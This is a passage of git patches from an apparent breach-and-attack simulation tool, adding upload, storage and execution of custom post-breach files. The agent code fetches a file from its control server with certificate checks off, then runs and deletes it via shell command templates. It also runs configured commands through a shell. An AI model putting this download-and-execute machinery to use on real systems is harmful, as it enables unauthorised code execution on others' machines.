b/monkey/monkey_island/cc/ui/src/index.js @@ -4,6 +4,8 @@ import ReactDOM from 'react-dom'; import 'babel-polyfill'; import App from './components/Main'; import Bootstrap from 'bootstrap/dist/css/bootstrap.css'; // eslint-disable-line no-unused-vars +import { FilePond, registerPlugin } from 'react-filepond'; +import 'filepond/dist/filepond.min.css'; // Render the main component into the dom ReactDOM.render(, document.getElementById('app')); From 7281f2284b9409296b96062ea2fcdd3f16ccade1 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 25 Feb 2019 19:18:10 +0200 Subject: [PATCH 176/201] Added deletion of files --- monkey/monkey_island/cc/app.py | 3 +- .../monkey_island/cc/resources/file_upload.py | 58 ++++++++++++++----- .../ui/src/components/pages/ConfigurePage.js | 3 + 3 files changed, 50 insertions(+), 14 deletions(-) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index fd95abc6b..863529ea0 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -119,7 +119,8 @@ def init_app(mongo_url): api.add_resource(Log, '/api/log', '/api/log/') api.add_resource(IslandLog, '/api/log/island/download', '/api/log/island/download/') api.add_resource(PBAFileDownload, '/api/pba/download/') - api.add_resource(FileUpload, '/api/fileUpload/') + api.add_resource(FileUpload, '/api/fileUpload/', + '/api/fileUpload/?load=') api.add_resource(RemoteRun, '/api/remote-monkey', '/api/remote-monkey/') return app diff --git a/monkey/monkey_island/cc/resources/file_upload.py b/monkey/monkey_island/cc/resources/file_upload.py index 7e53ab3be..d2b2f4d0e 100644 --- a/monkey/monkey_island/cc/resources/file_upload.py +++ b/monkey/monkey_island/cc/resources/file_upload.py @@ -1,9 +1,11 @@ import flask_restful -from flask import request, send_from_directory +from flask import request, send_from_directory, Response from cc.services.config import ConfigService import os from werkzeug.utils import secure_filename +import logging +LOG = logging.getLogger(__name__) UPLOADS_DIR = "./monkey_island/cc/userUploads" @@ -12,18 +14,48 @@ class FileUpload(flask_restful.Resource): def get(self, path): return send_from_directory(UPLOADS_DIR, path) + def get(self, file_type, file_name): + req_data = request.data + def post(self, file_type): + filename = '' if file_type == 'PBAlinux': - config = ConfigService.get_config() - file_info = ConfigService.get_config_value(['monkey', 'behaviour', 'custom_post_breach', 'linux_file_info']) - filename = secure_filename(request.files['filepond'].filename) - file_path = os.path.join(UPLOADS_DIR, filename) - request.files['filepond'].save(file_path) - file_size = os.path.getsize(file_path) - # config['monkey']['behaviour']['cutom_post_breach']['linux_file_info']['size'] = file_size - # config['monkey']['behaviour']['cutom_post_breach']['linux_file_info']['name'] = filename - # ConfigService.update_config(config, True) - - + filename = FileUpload.upload_pba_file(request) elif file_type == 'PBAwindows': - request.files['filepond'].save("./useless.file") + filename = FileUpload.upload_pba_file(request, False) + + response = Response( + response=filename, + status=200, mimetype='text/plain') + return response + + def delete(self, file_type): + config = ConfigService.get_config(should_decrypt=False) + if file_type == 'PBAlinux': + file_info = 'linux_file_info' + else: + file_info = 'windows_file_info' + filename = config['monkey']['behaviour']['custom_post_breach'][file_info]['name'] + file_path = os.path.join(UPLOADS_DIR, filename) + try: + if os.path.exists(file_path): + os.remove(file_path) + except OSError as e: + LOG.error("Can't remove previously uploaded post breach files: %s" % e) + return {} + + @staticmethod + def upload_pba_file(request_, is_linux=True): + config = ConfigService.get_config(should_decrypt=False) + filename = secure_filename(request_.files['filepond'].filename) + file_path = os.path.join(UPLOADS_DIR, filename) + request_.files['filepond'].save(file_path) + file_size = os.path.getsize(file_path) + if is_linux: + file_info = 'linux_file_info' + else: + file_info = 'windows_file_info' + config['monkey']['behaviour']['custom_post_breach'][file_info]['size'] = file_size + config['monkey']['behaviour']['custom_post_breach'][file_info]['name'] = filename + ConfigService.update_config(config, should_encrypt=False) + return filename diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index 23efa5cd2..5008ef1eb 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -153,6 +153,9 @@ class ConfigurePageComponent extends AuthComponent { }; PBAwindows = () => { + if (! this.state.configuration.monkey.behaviour.custom_post_breach.windows_file_info){ + + } return () }; From 33e78ba4e86993fd345db9529d3c168f9d07127b Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 26 Feb 2019 19:52:57 +0200 Subject: [PATCH 177/201] Implemented file restoration endpoint, file upload front end --- monkey/monkey_island/cc/app.py | 3 +- .../monkey_island/cc/resources/file_upload.py | 60 +++++++----- monkey/monkey_island/cc/services/config.py | 6 ++ .../cc/ui/src/components/Main.js | 14 ++- .../ui/src/components/pages/ConfigurePage.js | 94 +++++++++++++++++-- .../ui/src/components/pages/StartOverPage.js | 1 + monkey/monkey_island/cc/ui/src/styles/App.css | 12 +++ 7 files changed, 157 insertions(+), 33 deletions(-) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 863529ea0..91cf19b39 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -120,7 +120,8 @@ def init_app(mongo_url): api.add_resource(IslandLog, '/api/log/island/download', '/api/log/island/download/') api.add_resource(PBAFileDownload, '/api/pba/download/') api.add_resource(FileUpload, '/api/fileUpload/', - '/api/fileUpload/?load=') + '/api/fileUpload/?load=', + '/api/fileUpload/?restore=') api.add_resource(RemoteRun, '/api/remote-monkey', '/api/remote-monkey/') return app diff --git a/monkey/monkey_island/cc/resources/file_upload.py b/monkey/monkey_island/cc/resources/file_upload.py index d2b2f4d0e..f977b3e82 100644 --- a/monkey/monkey_island/cc/resources/file_upload.py +++ b/monkey/monkey_island/cc/resources/file_upload.py @@ -4,25 +4,35 @@ from cc.services.config import ConfigService import os from werkzeug.utils import secure_filename import logging +from cc.database import mongo +import copy LOG = logging.getLogger(__name__) UPLOADS_DIR = "./monkey_island/cc/userUploads" +GET_FILE_DIR = "./userUploads" +# What endpoints front end uses to identify which files to work with +LINUX_PBA_TYPE = 'PBAlinux' +WINDOWS_PBA_TYPE = 'PBAwindows' +# Where to find file info in config +PBA_CONF_PATH = ['monkey', 'behaviour', 'custom_post_breach'] +WINDOWS_PBA_INFO = copy.deepcopy(PBA_CONF_PATH) +WINDOWS_PBA_INFO.append('windows_file_info') +LINUX_PBA_INFO = copy.deepcopy(PBA_CONF_PATH) +LINUX_PBA_INFO.append('linux_file_info') class FileUpload(flask_restful.Resource): - # Used by monkey. can't secure. - def get(self, path): - return send_from_directory(UPLOADS_DIR, path) - def get(self, file_type, file_name): - req_data = request.data + def get(self, file_type): + # Verify that file_name is indeed a file from config + if file_type == LINUX_PBA_TYPE: + filename = ConfigService.get_config_value(copy.deepcopy(LINUX_PBA_INFO))['name'] + else: + filename = ConfigService.get_config_value(copy.deepcopy(WINDOWS_PBA_INFO))['name'] + return send_from_directory(GET_FILE_DIR, filename) def post(self, file_type): - filename = '' - if file_type == 'PBAlinux': - filename = FileUpload.upload_pba_file(request) - elif file_type == 'PBAwindows': - filename = FileUpload.upload_pba_file(request, False) + filename = FileUpload.upload_pba_file(request, (file_type == LINUX_PBA_TYPE)) response = Response( response=filename, @@ -30,32 +40,40 @@ class FileUpload(flask_restful.Resource): return response def delete(self, file_type): - config = ConfigService.get_config(should_decrypt=False) - if file_type == 'PBAlinux': - file_info = 'linux_file_info' - else: - file_info = 'windows_file_info' - filename = config['monkey']['behaviour']['custom_post_breach'][file_info]['name'] + file_conf_path = LINUX_PBA_INFO if file_type == 'PBAlinux' else WINDOWS_PBA_INFO + filename = ConfigService.get_config_value(file_conf_path)['name'] file_path = os.path.join(UPLOADS_DIR, filename) try: if os.path.exists(file_path): os.remove(file_path) + ConfigService.set_config_value(file_conf_path, {'size': '0', 'name': ''}) except OSError as e: LOG.error("Can't remove previously uploaded post breach files: %s" % e) + return {} @staticmethod def upload_pba_file(request_, is_linux=True): - config = ConfigService.get_config(should_decrypt=False) filename = secure_filename(request_.files['filepond'].filename) file_path = os.path.join(UPLOADS_DIR, filename) request_.files['filepond'].save(file_path) file_size = os.path.getsize(file_path) + ConfigService.set_config_value((LINUX_PBA_INFO if is_linux else WINDOWS_PBA_INFO), + {'size': file_size, 'name': filename}) + return filename + + @staticmethod + def get_file_info_db_paths(is_linux=True): + """ + Gets PBA file size and name parameter config paths for linux and windows + :param is_linux: determines whether to get windows or linux file params + :return: returns tuple of filename and file size paths in config + """ if is_linux: file_info = 'linux_file_info' else: file_info = 'windows_file_info' - config['monkey']['behaviour']['custom_post_breach'][file_info]['size'] = file_size - config['monkey']['behaviour']['custom_post_breach'][file_info]['name'] = filename - ConfigService.update_config(config, should_encrypt=False) - return filename + config_path = 'monkey.behaviour.custom_post_breach.' + file_info + '.' + size_path = config_path + 'size' + name_path = config_path + 'name' + return name_path, size_path diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index b65517de0..0dc59b588 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -85,6 +85,12 @@ class ConfigService: config = encryptor.dec(config) return config + @staticmethod + def set_config_value(config_key_as_arr, value): + mongo_key = ".".join(config_key_as_arr) + mongo.db.config.update({'name': 'newconfig'}, + {"$set": {mongo_key: value}}) + @staticmethod def get_flat_config(is_initial_config=False, should_decrypt=True): config_json = ConfigService.get_config(is_initial_config, should_decrypt) diff --git a/monkey/monkey_island/cc/ui/src/components/Main.js b/monkey/monkey_island/cc/ui/src/components/Main.js index 02cf9fdee..d0ae18143 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.js +++ b/monkey/monkey_island/cc/ui/src/components/Main.js @@ -78,6 +78,7 @@ class AppComponent extends AuthComponent { constructor(props) { super(props); this.state = { + removePBAfiles: false, completedSteps: { run_server: true, run_monkey: false, @@ -88,6 +89,11 @@ class AppComponent extends AuthComponent { }; } + // Sets the property that indicates if we need to remove PBA files from state or not + setRemovePBAfiles = (rmFiles) => { + this.setState({removePBAfiles: rmFiles}); + }; + componentDidMount() { this.updateStatus(); this.interval = setInterval(this.updateStatus, 5000); @@ -173,11 +179,15 @@ class AppComponent extends AuthComponent { ()}/> {this.renderRoute('/', , true)} - {this.renderRoute('/configure', )} + {this.renderRoute('/configure', )} {this.renderRoute('/run-monkey', )} {this.renderRoute('/infection/map', )} {this.renderRoute('/infection/telemetry', )} - {this.renderRoute('/start-over', )} + {this.renderRoute('/start-over', )} {this.renderRoute('/report', )} {this.renderRoute('/license', )} diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index 5008ef1eb..b74558990 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -3,7 +3,7 @@ import Form from 'react-jsonschema-form'; import {Col, Nav, NavItem} from 'react-bootstrap'; import fileDownload from 'js-file-download'; import AuthComponent from '../AuthComponent'; -import { FilePond, registerPlugin } from 'react-filepond'; +import { FilePond } from 'react-filepond'; import 'filepond/dist/filepond.min.css'; class ConfigurePageComponent extends AuthComponent { @@ -21,7 +21,9 @@ class ConfigurePageComponent extends AuthComponent { lastAction: 'none', sections: [], selectedSection: 'basic', - allMonkeysAreDead: true + allMonkeysAreDead: true, + PBAwinFile: [], + PBAlinuxFile: [] }; } @@ -95,6 +97,7 @@ class ConfigurePageComponent extends AuthComponent { }; resetConfig = () => { + this.removePBAfiles(); this.authFetch('/api/configuration/island', { method: 'POST', @@ -112,6 +115,16 @@ class ConfigurePageComponent extends AuthComponent { }); }; + removePBAfiles(){ + // We need to clean files from widget, local state and configuration (to sync with bac end) + if (this.hasOwnProperty('PBAlinuxPond')){ + this.PBAlinuxPond.removeFile(); + this.PBAwindowsPond.removeFile(); + } + this.setState({PBAlinuxFile: []}); + this.setState({PBAwinFile: []}); + } + onReadFile = (event) => { try { this.setState({ @@ -153,16 +166,75 @@ class ConfigurePageComponent extends AuthComponent { }; PBAwindows = () => { - if (! this.state.configuration.monkey.behaviour.custom_post_breach.windows_file_info){ - - } - return () + return ( { + this.setState({ + PBAwinFile: fileItems.map(fileItem => fileItem.file) + }) + }} + ref={ref => this.PBAwindowsPond = ref} + />) }; PBAlinux = () => { - return () + return ( { + this.setState({ + PBAlinuxFile: fileItems.map(fileItem => fileItem.file) + }) + }} + ref={ref => this.PBAlinuxPond = ref} + onload={this.props.setRemovePBAfiles(false)} + />) + }; + getWinPBAfile(){ + if (this.props.removePBAfiles){ + // If env was reset we need to remove files in react state + /*if (this.hasOwnProperty('PBAwinFile')){ + this.setState({PBAwinFile: ''}) + }*/ + } else if (this.state.PBAwinFile.length !== 0){ + console.log("Getting from local state") + return ConfigurePageComponent.getPBAfile(this.state.PBAwinFile[0], true) + } else { + console.log("Getting from config") + return ConfigurePageComponent.getPBAfile(this.state.configuration.monkey.behaviour.custom_post_breach.windows_file_info) + } + } + + getLinuxPBAfile(){ + if (this.props.removePBAfiles) { + // If env was reset we need to remove files in react state + /*if (this.hasOwnProperty('PBAlinuxFile')){ + this.setState({PBAlinuxFile: ''}) + }*/ + } else if (this.state.PBAlinuxFile.length !== 0){ + console.log("Getting from local state") + return ConfigurePageComponent.getPBAfile(this.state.PBAlinuxFile[0], true) + } else { + console.log("Getting from config") + return ConfigurePageComponent.getPBAfile(this.state.configuration.monkey.behaviour.custom_post_breach.linux_file_info) + } + } + + static getPBAfile(fileSrc, isMock=false){ + let PBAfile = [{ + source: fileSrc.name, + options: { + type: 'limbo' + } + }]; + if (isMock){ + PBAfile[0].options.file = fileSrc + } + return PBAfile + } render() { let displayedSchema = {}; @@ -180,6 +252,12 @@ class ConfigurePageComponent extends AuthComponent { }, windows_file: { "ui:widget": this.PBAwindows + }, + linux_file_info: { + classNames: "linux-pba-file-info" + }, + windows_file_info: { + classNames: "windows-pba-file-info" } } } @@ -188,7 +266,6 @@ class ConfigurePageComponent extends AuthComponent { displayedSchema = this.state.schema['properties'][this.state.selectedSection]; displayedSchema['definitions'] = this.state.schema['definitions']; } - return (

    Monkey Configuration

    @@ -276,7 +353,6 @@ class ConfigurePageComponent extends AuthComponent {
    : ''} - ); } diff --git a/monkey/monkey_island/cc/ui/src/components/pages/StartOverPage.js b/monkey/monkey_island/cc/ui/src/components/pages/StartOverPage.js index c44a5a72f..eb4b5ae91 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/StartOverPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/StartOverPage.js @@ -108,6 +108,7 @@ class StartOverPageComponent extends AuthComponent { this.setState({ cleaned: true }); + this.props.setRemovePBAfiles(true) } }); } diff --git a/monkey/monkey_island/cc/ui/src/styles/App.css b/monkey/monkey_island/cc/ui/src/styles/App.css index 1b857a1ec..926052d7a 100644 --- a/monkey/monkey_island/cc/ui/src/styles/App.css +++ b/monkey/monkey_island/cc/ui/src/styles/App.css @@ -163,6 +163,18 @@ body { * Configuration Page */ +.linux-pba-file-info, .windows-pba-file-info { + display: none +} + +.filepond--root li { + overflow: visible; +} + +.filepond--root * { + font-size: 1.04em; +} + .rjsf .form-group .form-group { margin-left: 2em; } From 45be01047009d1a77e6154ac117522c4e3c3a88f Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 1 Mar 2019 17:57:11 +0200 Subject: [PATCH 178/201] Refactoring and improvements --- monkey/infection_monkey/example.conf | 8 +- .../post_breach/file_execution.py | 100 ++++++++++++++++- monkey/infection_monkey/post_breach/pba.py | 25 +++-- .../post_breach/post_breach_handler.py | 102 ++++++------------ .../monkey_island/cc/resources/file_upload.py | 8 +- .../monkey_island/cc/resources/telemetry.py | 2 +- monkey/monkey_island/cc/services/config.py | 21 ++++ monkey/monkey_island/cc/services/node.py | 2 +- monkey/monkey_island/cc/services/report.py | 2 +- .../cc/ui/src/components/Main.js | 8 +- .../ui/src/components/pages/ConfigurePage.js | 47 ++++---- .../ui/src/components/pages/StartOverPage.js | 1 - .../report-components/PostBreach.js | 18 +++- 13 files changed, 213 insertions(+), 131 deletions(-) diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index fee397f2e..0e2fc79a9 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -98,5 +98,11 @@ "victims_max_exploit": 7, "victims_max_find": 30, "post_breach_actions" : [], - "custom_post_breach" : { "linux": "", "windows": "", "linux_file": "", "windows_file": "" } + "custom_post_breach" : { "linux": "", + "windows": "", + "linux_file": "", + "windows_file": "", + "windows_file_info": {"name": "", "size": "0" }, + "linux_file_info": {"name": "", "size":"0"} + } } diff --git a/monkey/infection_monkey/post_breach/file_execution.py b/monkey/infection_monkey/post_breach/file_execution.py index ef575d8cc..4e0822339 100644 --- a/monkey/infection_monkey/post_breach/file_execution.py +++ b/monkey/infection_monkey/post_breach/file_execution.py @@ -1,8 +1,100 @@ from infection_monkey.post_breach.pba import PBA +from infection_monkey.control import ControlClient +import infection_monkey.monkeyfs as monkeyfs +from infection_monkey.config import WormConfiguration +import requests +import shutil +import os +import logging + +LOG = logging.getLogger(__name__) + +__author__ = 'VakarisZ' + +DOWNLOAD_CHUNK = 1024 +DEFAULT_LINUX_COMMAND = "chmod +x {0} ; {0} ; rm {0}" +DEFAULT_WINDOWS_COMMAND = "{0} & del {0}" class FileExecution(PBA): - def __init__(self, file_path): - linux_command = "chmod 110 {0} ; {0} ; rm {0}".format(file_path) - win_command = "{0} & del {0}".format(file_path) - super(FileExecution, self).__init__("File execution", linux_command, win_command) + def __init__(self, linux_command="", windows_command=""): + self.linux_file_info = WormConfiguration.custom_post_breach['linux_file_info'] + self.windows_file_info = WormConfiguration.custom_post_breach['windows_file_info'] + super(FileExecution, self).__init__("File execution", linux_command, windows_command) + + def execute_linux(self): + FileExecution.download_PBA_file(FileExecution.get_dest_dir(WormConfiguration, True), + self.linux_file_info['name'], + self.linux_file_info['size']) + return super(FileExecution, self).execute_linux() + + def execute_win(self): + FileExecution.download_PBA_file(FileExecution.get_dest_dir(WormConfiguration, True), + self.windows_file_info['name'], + self.windows_file_info['size']) + return super(FileExecution, self).execute_win() + + def add_default_command(self, is_linux): + if is_linux: + file_path = os.path.join(FileExecution.get_dest_dir(WormConfiguration, is_linux=True), + self.linux_file_info["name"]) + self.linux_command = DEFAULT_LINUX_COMMAND.format(file_path) + else: + file_path = os.path.join(FileExecution.get_dest_dir(WormConfiguration, is_linux=False), + self.windows_file_info["name"]) + self.windows_command = DEFAULT_WINDOWS_COMMAND.format(file_path) + + @staticmethod + def download_PBA_file(dst_dir, filename, size): + """ + Handles post breach action file download + :param dst_dir: Destination directory + :param filename: Filename + :param size: File size in bytes + :return: True if successful, false otherwise + """ + PBA_file_v_path = FileExecution.download_PBA_file_to_vfs(filename, size) + try: + with monkeyfs.open(PBA_file_v_path, "rb") as downloaded_PBA_file: + with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file: + shutil.copyfileobj(downloaded_PBA_file, written_PBA_file) + return True + except IOError as e: + LOG.error("Can not download post breach file to target machine, because %s" % e) + return False + + @staticmethod + def download_PBA_file_to_vfs(filename, size): + if not WormConfiguration.current_server: + return None + try: + dest_file = monkeyfs.virtual_path(filename) + if (monkeyfs.isfile(dest_file)) and (size == monkeyfs.getsize(dest_file)): + return dest_file + else: + download = requests.get("https://%s/api/pba/download/%s" % + (WormConfiguration.current_server, filename), + verify=False, + proxies=ControlClient.proxies) + + with monkeyfs.open(dest_file, 'wb') as file_obj: + for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK): + if chunk: + file_obj.write(chunk) + file_obj.flush() + if size == monkeyfs.getsize(dest_file): + return dest_file + + except Exception as exc: + LOG.warn("Error connecting to control server %s: %s", + WormConfiguration.current_server, exc) + + @staticmethod + def get_dest_dir(config, is_linux): + """ + Gets monkey directory from config. (We put post breach files in the same dir as monkey) + """ + if is_linux: + return os.path.dirname(config.dropper_target_path_linux) + else: + return os.path.dirname(config.dropper_target_path_win_32) diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py index ab639c536..e8954fb87 100644 --- a/monkey/infection_monkey/post_breach/pba.py +++ b/monkey/infection_monkey/post_breach/pba.py @@ -19,20 +19,25 @@ class PBA(object): else: command = self.windows_command exec_funct = self.execute_win - try: + if command: ControlClient.send_telemetry('post_breach', {'command': command, 'output': exec_funct(), 'name': self.name}) - return True - except subprocess.CalledProcessError as e: - ControlClient.send_telemetry('post_breach', {'command': command, - 'output': "Couldn't execute post breach command: %s" % e, - 'name': self.name}) - LOG.error("Couldn't execute post breach command: %s" % e) - return False def execute_linux(self): - return subprocess.check_output(self.linux_command, shell=True) if self.linux_command else False + # Default linux PBA execution function. Override if additional functionality is needed + if self.linux_command: + try: + return subprocess.check_output(self.linux_command, stderr=subprocess.STDOUT, shell=True) + except subprocess.CalledProcessError as e: + # Return error output of the command + return e.output def execute_win(self): - return subprocess.check_output(self.windows_command, shell=True) if self.windows_command else False + # Default windows PBA execution function. Override if additional functionality is needed + if self.windows_command: + try: + return subprocess.check_output(self.windows_command, stderr=subprocess.STDOUT, shell=True) + except subprocess.CalledProcessError as e: + # Return error output of the command + return e.output diff --git a/monkey/infection_monkey/post_breach/post_breach_handler.py b/monkey/infection_monkey/post_breach/post_breach_handler.py index b43832bd0..af494256a 100644 --- a/monkey/infection_monkey/post_breach/post_breach_handler.py +++ b/monkey/infection_monkey/post_breach/post_breach_handler.py @@ -1,12 +1,6 @@ import logging import infection_monkey.config import platform -from infection_monkey.control import ControlClient -import infection_monkey.monkeyfs as monkeyfs -from infection_monkey.config import WormConfiguration -import requests -import shutil -import os from file_execution import FileExecution from pba import PBA @@ -14,8 +8,6 @@ LOG = logging.getLogger(__name__) __author__ = 'VakarisZ' -DOWNLOAD_CHUNK = 1024 - # Class that handles post breach action execution class PostBreach(object): @@ -26,77 +18,49 @@ class PostBreach(object): def execute(self): for pba in self.pba_list: pba.run(self.os_is_linux) + LOG.info("Post breach actions executed") - def config_to_pba_list(self, config): + @staticmethod + def config_to_pba_list(config): """ - Should return a list of PBA's generated from config. After full implementation this will pick - which PBA's to run. + Returns a list of PBA objects generated from config. """ pba_list = [] - # Get custom PBA commands from config - custom_pba_linux = config.custom_post_breach['linux'] - custom_pba_windows = config.custom_post_breach['windows'] - - if custom_pba_linux or custom_pba_windows: - pba_list.append(PBA('custom_pba', custom_pba_linux, custom_pba_windows)) - - # Download user's pba file by providing dest. dir, filename and file size - if config.custom_post_breach['linux_file'] and self.os_is_linux: - uploaded = PostBreach.download_PBA_file(PostBreach.get_dest_dir(config, self.os_is_linux), - config.custom_post_breach['linux_file_info']['name'], - config.custom_post_breach['linux_file_info']['size']) - if not custom_pba_linux and uploaded: - pba_list.append(FileExecution("./"+config.custom_post_breach['linux_file_info']['name'])) - elif config.custom_post_breach['windows_file'] and not self.os_is_linux: - uploaded = PostBreach.download_PBA_file(PostBreach.get_dest_dir(config, self.os_is_linux), - config.custom_post_breach['windows_file_info']['name'], - config.custom_post_breach['windows_file_info']['size']) - if not custom_pba_windows and uploaded: - pba_list.append(FileExecution(config.custom_post_breach['windows_file_info']['name'])) + pba_list.extend(PostBreach.get_custom(config)) return pba_list @staticmethod - def download_PBA_file(dst_dir, filename, size): - PBA_file_v_path = PostBreach.download_PBA_file_to_vfs(filename, size) - try: - with monkeyfs.open(PBA_file_v_path, "rb") as downloaded_PBA_file: - with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file: - shutil.copyfileobj(downloaded_PBA_file, written_PBA_file) - return True - except IOError as e: - LOG.error("Can not download post breach file to target machine, because %s" % e) - return False + def get_custom(config): + custom_list = [] + file_pba = FileExecution() + command_pba = PBA(name="Custom post breach action") + post_breach = config.custom_post_breach + linux_command = post_breach['linux'] + windows_command = post_breach['windows'] - @staticmethod - def download_PBA_file_to_vfs(filename, size): - if not WormConfiguration.current_server: - return None - try: - dest_file = monkeyfs.virtual_path(filename) - if (monkeyfs.isfile(dest_file)) and (size == monkeyfs.getsize(dest_file)): - return dest_file + # Add commands to linux pba + if post_breach['linux_file_info']['name']: + if linux_command: + file_pba.linux_command=linux_command else: - download = requests.get("https://%s/api/pba/download/%s" % - (WormConfiguration.current_server, filename), - verify=False, - proxies=ControlClient.proxies) + file_pba.add_default_command(is_linux=True) + elif linux_command: + command_pba.linux_command = linux_command - with monkeyfs.open(dest_file, 'wb') as file_obj: - for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK): - if chunk: - file_obj.write(chunk) - file_obj.flush() - if size == monkeyfs.getsize(dest_file): - return dest_file + # Add commands to windows pba + if post_breach['windows_file_info']['name']: + if windows_command: + file_pba.windows_command=windows_command + else: + file_pba.add_default_command(is_linux=False) + elif windows_command: + command_pba.windows_command = windows_command - except Exception as exc: - LOG.warn("Error connecting to control server %s: %s", - WormConfiguration.current_server, exc) + # Add pba's to list + if file_pba.linux_command or file_pba.windows_command: + custom_list.append(file_pba) + if command_pba.windows_command or command_pba.linux_command: + custom_list.append(command_pba) - @staticmethod - def get_dest_dir(config, is_linux): - if is_linux: - return os.path.dirname(config.dropper_target_path_linux) - else: - return os.path.dirname(config.dropper_target_path_win_32) + return custom_list diff --git a/monkey/monkey_island/cc/resources/file_upload.py b/monkey/monkey_island/cc/resources/file_upload.py index f977b3e82..b8fcf9a90 100644 --- a/monkey/monkey_island/cc/resources/file_upload.py +++ b/monkey/monkey_island/cc/resources/file_upload.py @@ -1,6 +1,6 @@ import flask_restful from flask import request, send_from_directory, Response -from cc.services.config import ConfigService +from cc.services.config import ConfigService, WINDOWS_PBA_INFO, LINUX_PBA_INFO import os from werkzeug.utils import secure_filename import logging @@ -13,12 +13,6 @@ GET_FILE_DIR = "./userUploads" # What endpoints front end uses to identify which files to work with LINUX_PBA_TYPE = 'PBAlinux' WINDOWS_PBA_TYPE = 'PBAwindows' -# Where to find file info in config -PBA_CONF_PATH = ['monkey', 'behaviour', 'custom_post_breach'] -WINDOWS_PBA_INFO = copy.deepcopy(PBA_CONF_PATH) -WINDOWS_PBA_INFO.append('windows_file_info') -LINUX_PBA_INFO = copy.deepcopy(PBA_CONF_PATH) -LINUX_PBA_INFO.append('linux_file_info') class FileUpload(flask_restful.Resource): diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index d6c6a5585..3e2824d3b 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -261,7 +261,7 @@ class Telemetry(flask_restful.Resource): def process_post_breach_telemetry(telemetry_json): mongo.db.monkey.update( {'guid': telemetry_json['monkey_guid']}, - {'$push': {'post_breach_actions': telemetry_json['data']}}) + {'$push': {'pba_results': telemetry_json['data']}}) TELEM_PROCESS_DICT = \ { diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 0dc59b588..61d081867 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -38,6 +38,13 @@ ENCRYPTED_CONFIG_STRINGS = \ UPLOADS_DIR = './monkey_island/cc/userUploads' +# Where to find file info in config +PBA_CONF_PATH = ['monkey', 'behaviour', 'custom_post_breach'] +WINDOWS_PBA_INFO = copy.deepcopy(PBA_CONF_PATH) +WINDOWS_PBA_INFO.append('windows_file_info') +LINUX_PBA_INFO = copy.deepcopy(PBA_CONF_PATH) +LINUX_PBA_INFO.append('linux_file_info') + class ConfigService: default_config = None @@ -150,6 +157,8 @@ class ConfigService: @staticmethod def update_config(config_json, should_encrypt): + # Island file upload on file_upload endpoint and sets correct config there + ConfigService.keep_PBA_files(config_json) if should_encrypt: try: ConfigService.encrypt_config(config_json) @@ -160,6 +169,18 @@ class ConfigService: logger.info('monkey config was updated') return True + @staticmethod + def keep_PBA_files(config_json): + """ + file_upload endpoint handles file upload and sets config asynchronously. + This brings file info in config up to date. + """ + if ConfigService.get_config(): + linux_info = ConfigService.get_config_value(LINUX_PBA_INFO) + windows_info = ConfigService.get_config_value(WINDOWS_PBA_INFO) + config_json['monkey']['behaviour']['custom_post_breach']['linux_file_info'] = linux_info + config_json['monkey']['behaviour']['custom_post_breach']['windows_file_info'] = windows_info + @staticmethod def init_default_config(): if ConfigService.default_config is None: diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py index 0360ae73c..b2a264f33 100644 --- a/monkey/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -143,7 +143,7 @@ class NodeService: "os": NodeService.get_monkey_os(monkey), "dead": monkey["dead"], "domain_name": "", - "post_breach_actions": monkey["post_breach_actions"] if "post_breach_actions" in monkey else "" + "pba_results": monkey["pba_results"] if "pba_results" in monkey else [] } @staticmethod diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index b84c1d4d5..71e443716 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -156,7 +156,7 @@ class ReportService: 'exploits': list(set( [ReportService.EXPLOIT_DISPLAY_DICT[exploit['exploiter']] for exploit in monkey['exploits'] if exploit['result']])), - 'post_breach_actions': monkey['post_breach_actions'] if 'post_breach_actions' in monkey else 'None' + 'pba_results': monkey['pba_results'] if 'pba_results' in monkey else 'None' } for monkey in exploited] diff --git a/monkey/monkey_island/cc/ui/src/components/Main.js b/monkey/monkey_island/cc/ui/src/components/Main.js index d0ae18143..da8e59113 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.js +++ b/monkey/monkey_island/cc/ui/src/components/Main.js 